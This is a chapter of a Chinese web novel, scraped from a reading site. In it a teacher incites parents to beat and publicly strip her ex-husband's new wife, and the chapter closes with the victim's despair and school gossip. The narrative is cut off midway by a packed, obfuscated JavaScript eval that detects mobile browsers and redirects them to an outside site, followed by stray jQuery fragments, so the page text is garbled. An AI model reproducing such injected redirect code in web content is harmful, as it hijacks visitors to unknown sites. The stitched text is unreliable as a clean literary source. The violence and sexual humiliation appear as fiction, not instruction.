默认冷灰
24号文字
方正启体

40. 第 40 章

作者:敲锣打蛊本书字数:K更新时间:
    巩静文的眼中几乎要射出毒箭,假模假样地在眼泪上抹了一把,将视线投向人群里,发现果然有几张熟悉的面孔一脸的为她愤愤不平。


    好险。


    幸好自己反应快,料得准。


    那几张面孔都是她班上学生的家长。


    那三个中年女子一块儿从人堆里钻了出来,上前安慰:“巩老师,你没事吧?我们在旁边瞧了这半天,怎么会有这么恶毒的女子,诬陷你这么好的老师啊!气死我们了!”


    “是啊,我最见不得这种不公道的事情了!”


    “对,巩老师你别怕,他们要是敢欺负你,有我们帮着你。”


    巩静文眉眼低垂,握住她们粗糙的手:“谢谢你们~谢谢~”


    其中一个家长双手抱胸,气势汹汹,见沈时把丁思南正往车里塞,伸手拦在车门前。


    她朝巩静文使了个眼色:“想走?没那么容易!她们好不要脸,难道就这么算了吗?巩老师,你别怕,有我们给你主持公道。”


    局势顿时转变,巩静文心里一喜。


    担心和沈时闹得关系生分,影响将来复婚,巩静文声情并茂道:“其实跟我前夫无关,而且我儿子还要跟着前夫生活的,我不想找他的麻烦...”


    那些家长都是为人母的,一听为了孩子,心里也都明白。


    倘若今天得罪了孩子的父亲,将来孩子跟着吃苦,回头埋怨起当妈的可怎么办?


    她们默默低下了头。


    巩静文的声音此时却又忽然扬起。


    “都是这个女人,我们夫妻当时感情挺好的,我就不明白为什么忽然会不要我~”


    “反正自从这个女人进了他家里,就处处针对我儿子!现在还跑来我这儿耀武扬威,准是看我一个人孤苦伶仃好欺负,呜呜呜~我以后不知道该怎么办了!”


    同为女人,最忌讳的就是小三。


    巩静文话里带话的直指丁思南是破坏她家庭的小三,才让她一个贤良淑德的人民教师沦落到如此地步,于情于理,于道德于三观,大家岂能容忍这种背离公序良俗的人嚣张撒野?


    黑变成了白。


    旁观者变成了帮凶。


    如今丁思南正如丧家之犬,挨打挨骂落在她们眼里反而是应该的。


    甚至于她那狼狈凄惨的样子还不解气,几个家长撸起了袖子,自作主张地要替全天下被小三破坏家庭的可怜女人出这口恶气。


    “好啊,你这个□□!天底下那么多男人不要,你偏要抢巩老师的男人?你就那么喜欢干不要脸的事情?你既然这么不要脸,你还挡着脸干什么?还怕人看见不成?”


    丁思南哪里还有力气挡着脸,她不过是被打习惯了,蜷缩成一团本能地保护自己的要害。


    她的嘴里仍旧不停地咒骂着沈时和巩静文,却见几个家长怒气冲冲地拉开她的手,再次把她从车里拖到了地上。


    “巩静文你贼喊捉贼!”丁思南绝望大叫。


    “呸!不要脸!你还叫,你还叫,你当我们是死人吗?你抹黑我们孩子的老师,就是抹黑我们的孩子。还不闭嘴,要你好看!”


    凶神恶煞的家长提着丁思南的衣领使劲地扯,可是衣服质量太差,松动的扣子直接被扯断了。


    加之力气太大,衣服从胸口一路破到了腰间,丁思南顿时春光乍泄。


    她‘啊!’地尖叫一声,终于停止了叫骂,双手抱住胸口蹲了下去。


    明明刚才已经视死如归,明明刚才胸中仿佛有巨大的火焰燃烧着自己,可偏偏还是走不出传统思想的约束。


    只被拿捏这一点点羞耻心,她就成了哑巴,瞬间所有勇气一扫而空,精神的巨人轰然倒塌,只想缩回地底下去做一只鸵鸟。


    许许多多猥琐的目光从路人之中聚焦在丁思南身上,他们的目光恨不得钻过每一丝缝隙到达她裸露的皮肤。


    丁思南的脑中一片黑暗。


    可是这些人却并不想就此放过她。


    她们发现自己一时占了上风,就更加地疯狂起来,碾压着丁思南的羞耻心令她们充满了快感。


    那几双大手的主人早已经忘记了这事儿根本就事不关己,纷纷往丁思南身上抓去,好让她彻底丧失还击的能力,最好还能跪地求饶。


    巩静文脸上终于展开了久违的痛快的笑容。


    家长撕碎了丁思南身上残存的布片,还一人一只手把她架了起来,恶趣味般地把丁思南的身体展现给众人,好像这样就能威慑住人群里潜在的‘小三’和要出轨的男人,并替天底下所有正妻出口恶气了。


    丁思南越是表现得痛苦,就好像在这些人熊熊燃烧的邪恶之心上加了一把油,那股邪火越烧越旺,最初的初衷早就被湮没的无影无踪。


    此时她们只是把自己心里所有的不忿找个倒霉的弱者当替死鬼施暴而已。


    丁思南哭喊着摇摆着身体,嘴里却被她衣服的布料塞住了。


    围观的人看热闹看的津津有味,没有一个愿意管这闲事的。


    本地初中的人民教师,和一个看上去很最容易让男人心生怜悯的年轻后妈,这些人本能地更愿意往巩静文那边站。


    丁思南喉咙里传来深深地呜咽,像只幼小的恐惧的野兽,她极度的无助,被巨大的羞耻感包裹住,只得求饶般地看向沈时。


    沈时挺直了胸膛上前阻止,被巩静文一把拉住,摇了摇头。


    沈时怒而推开巩静文,却再一次被那些正上头的家长挡住了去路。


    “给老子滚!老子的女人用不着你们多管闲事!”


    沈时抓住一个家长用力一甩,那人摔在出租车的引擎盖上,嘴里骂骂咧咧却不敢再往前了。


    丁思南身上的手才一只只松开。


    这些女人方才冷静了一点,和一个气势汹汹的男人对抗,面对一个她们心里绝对至上的男权,她们才自愿地撤下去。


    男人一冲上来表态,那几个女人顿时跟萎了一般,只冷眼看着,不再插手了。


    沈时嫌弃地扫过狼狈不堪的丁思南,然后脱下自己的衣服,盖住丁思南袒胸露乳的上半身。


    这毕竟是他沈家的人,在众目睽睽下让人看了个够,不也在打他沈时的脸吗?


    沈时把丁思南随意地裹成了蚕宝宝,塞进车里,没有再跟巩静文有任何的互动。


    司机一脚油门,冲出了小镇。


    “哼,现在知道还是家里好了吧?乖乖在家待着,就没那么多事儿了。”


    沈时的话如冰湖的水,寒冷彻骨。


    丁思南抱紧了胸口的衣服,眼巴巴地直视着空洞的前方。


    她想不明白,明明自己都有面对死亡的勇气了,为什么刚才还那样在意名节,在意他人的眼光。


    但她想这些又有什么用?


    车窗外疾疾的冷风扇在丁思南脸上,略略风声好像在她耳边发出奚落的声音。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732454|171101||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    你已受过多少羞辱和欺凌,还至于怕这一次?


    平日在家里关上门来,只要外人不知道,里面人不说破,就可以粉饰太平,穿上皇帝的新衣,挽回虚无的尊严,好像就没有那么严重。


    今天因有人观赏着你的羞辱和无能,所以这一次特别崩溃?特别难以接受?


    凭空出现的质疑声回荡在脑海里,不因她极力的抗拒而消散。


    快速倒退的街景浑浊了她的思绪,丁思南沉沉地闭上眼…


    这一次的打击重塑了她逆来顺受的心态,刚刚崛起的反抗意识被击了个粉碎。


    丁思南的脑筋越来越不清醒,她只能断章取义地获取到一些外界投射到她身上的信息片段:外面是危险的,应该待在家里…虽然沈家人对她不好,但是终归关起门来,没有人知道…


    她甚至觉得家丑不外扬,是在维护她的尊严,是在为她好。


    可是日积月累的伤害终究只是伤害,披着糖衣的炮弹是会粉碎一切鲜活的生命的。


    丁思南在伤害中学会了麻痹自己,闭上眼睛关上耳朵,后知后觉地消耗着快速衰弱的生命。


    在她遭受惨无人道的活剖之前,在她最后一次不顾性命的反抗之前,她甚至认为只要忍耐,顺从,这日子也不是不能过下去的。


    毕竟,她还能去哪儿呢?


    偌大的世界,沈家真的成为了她唯一能待下去的家了。


    丁思南愿意放过拿回自由身的执念,放过对她无端长期施暴的恶人,放过被骗的精光的物质和被摧残的精神,可是有的人却并没有想要放过她。


    自丁思南到学校那一闹之后,还是引起了一些有心人的注意。


    学校这样的地方,小团体众多,人际关系复杂,日常喜欢和男同事发生过多肢体接触的巩静文一直是小团体讨论的中心。


    时间一长,有些流言蜚语灌进了耳朵。


    “巩老师怎么从来不回家的呀?连今年春节,值班亭的谢师傅说看见巩老师提了一大包的泡面在宿舍里煮。”


    “是呀,巩老师不是说自己和未婚夫很恩爱的吗?那么多首饰和衣服都是未婚夫给买的,可是上周连着下了几天的暴雨,马路都快被淹了,她家离这么远,怎么不让她未婚夫来接呢?”


    “哼,你们不觉得巩老师看上去天天笑脸相迎,可是她笑得很苦涩吗?”


    “你们操心她干嘛呀?操心操心自己吧!不要就知道对着教案和学生,学学人家巩老师,没日没夜地往教导主任办公室跑,比咱们回家都勤。所以人家连带班出早操都有教导主任心疼她吹了风!下学期评选校优秀教师,肯定又是她巩静文了!”


    ……


    嫉妒!


    都是嫉妒我男人缘好,会社交,嫉妒领导喜欢我!


    巩静文每天踩着高跟鞋毫不避讳地路过一簇一簇谈论她的人,她高昂着头,十分享受聚光灯聚集在身上的耀眼光芒。


    即便是难听话居多,但她不在乎,反而觉得骄傲。


    从学生时代起,她就只喜欢和异性混在一起,在异性堆里吃的开,那是自己有魅力的象征。


    外加主任已经传出话头来,今年的优秀教师荣誉多半是要评选给她的,对她关注的目光自然就更多了。


    奖项还没落地,这天早上一进办公室,就有嘴碎的年轻老师跑来和她说悄悄话,一股说她破坏前夫家庭的传言已蠢蠢欲动,悄然在学校里传开了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)